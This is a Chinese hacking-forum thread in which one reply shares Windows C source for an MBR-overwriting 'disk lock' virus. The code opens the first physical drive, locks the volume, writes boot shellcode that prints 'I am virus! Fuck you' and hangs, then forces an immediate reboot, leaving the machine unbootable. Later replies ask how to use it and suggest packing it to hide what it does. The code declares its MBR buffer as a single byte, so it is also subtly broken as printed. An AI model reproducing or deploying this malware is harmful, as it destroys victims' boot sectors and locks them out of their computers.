小马博客 发表于 2018-2-16 22:33:20

硬盘逻辑锁-Gh0st病毒核心

Tao0Lu 发表于 2018-3-2 21:47:28

本帖最后由 套路 于 2018-3-24 22:12 编辑

1.源码没有声明函数,修改MBR后没有重启进入锁机界面。
修改后#include <windows.h>
#include <winioctl.h>

unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
00000003CD10 int 10h ; 进入图形显示方式,隐藏光标
00000005BD187C mov bp, Msg ; ES:BP = 串地址
00000008B91800 mov cx, 18h ; CX = 串长度
0000000BB80113 mov ax, 1301h ; AH = 13,AL = 01h
0000000EBB0C00 mov bx, 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch,高亮)
00000011BA1D0E mov dx, 0e1dh ; dh行, dl列
00000014CD10 int 10h ; 10h 号中断
00000016E2FE loop $
Msg: db " I am virus! Fuck you ! :-("
*/
int WINAPI WinMain(
        HINSTANCE hInstance,// handle to current instance
        HINSTANCE hPrevInstance,// handle to previous instance
        LPSTR lpCmdLine,      // pointer to command line
        int nCmdShow          // show state of window
)
{
        HANDLE hDevice;
        DWORD dwBytesWritten, dwBytesReturned;
        BYTE pMBR = { 0 };

        // 重新构造MBR
        memcpy(pMBR, scode, sizeof(scode) - 1);
        pMBR = 0x55;
        pMBR = 0xAA;

        hDevice = CreateFile
        (
                "\\\\.\\PHYSICALDRIVE0",
                GENERIC_READ | GENERIC_WRITE,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                0,
                NULL
        );
        if (hDevice == INVALID_HANDLE_VALUE)
                return -1;
        DeviceIoControl
        (
                hDevice,
                FSCTL_LOCK_VOLUME,
                NULL,
                0,
                NULL,
                0,
                &dwBytesReturned,
                NULL
        );
        // 写入病毒内容
        WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
        DeviceIoControl
        (
                hDevice,
                FSCTL_UNLOCK_VOLUME,
                NULL,
                0,
                NULL,
                0,
                &dwBytesReturned,
                NULL
        );
        CloseHandle(hDevice);
        system("shutdown -r -t 0");
        return 0;
}

2.shellcode 限定488个字符(扇区512字节-24字节汇编)

gdxzll 发表于 2018-3-2 22:29:05

看看666666666

誓不回头 发表于 2018-5-3 20:31:22


学习学习

xtv2000922 发表于 2018-5-23 12:36:35

感谢楼主共享

watermelon 发表于 2018-5-24 12:08:18

膜拜膜拜

1024078948 发表于 2018-5-24 20:42:58

学习解锁

牟宗程 发表于 2018-6-9 16:22:53

1111111111

chenzihao 发表于 2018-6-17 23:17:40

55555555555

2861831236 发表于 2018-6-18 11:43:10

555555555555555555555555

wd2286034912 发表于 2018-6-27 14:39:31

66666666666666666666666666666

rmz13564501732 发表于 2018-7-5 22:01:19

这个怎么用

rmz13564501732 发表于 2018-7-6 17:07:36

这个怎么用

2990771277 发表于 2018-7-22 08:55:42

看看。。。。。感谢分享

半懵半懂 发表于 2018-7-22 12:43:39

厉害厉害厉害

半懵半懂 发表于 2018-7-22 12:45:15






















半懵半懂 发表于 2018-7-22 12:47:18

这个加一下壳就更好了

半懵半懂 发表于 2018-7-22 12:54:44

加壳了别人就看不出啥来了2333

16134761347 发表于 2018-8-6 07:01:31

借鉴一下谢谢

eiphp 发表于 2018-8-29 09:42:41

看看看看看
页: 1 [2] 3
查看完整版本: 该帖已删除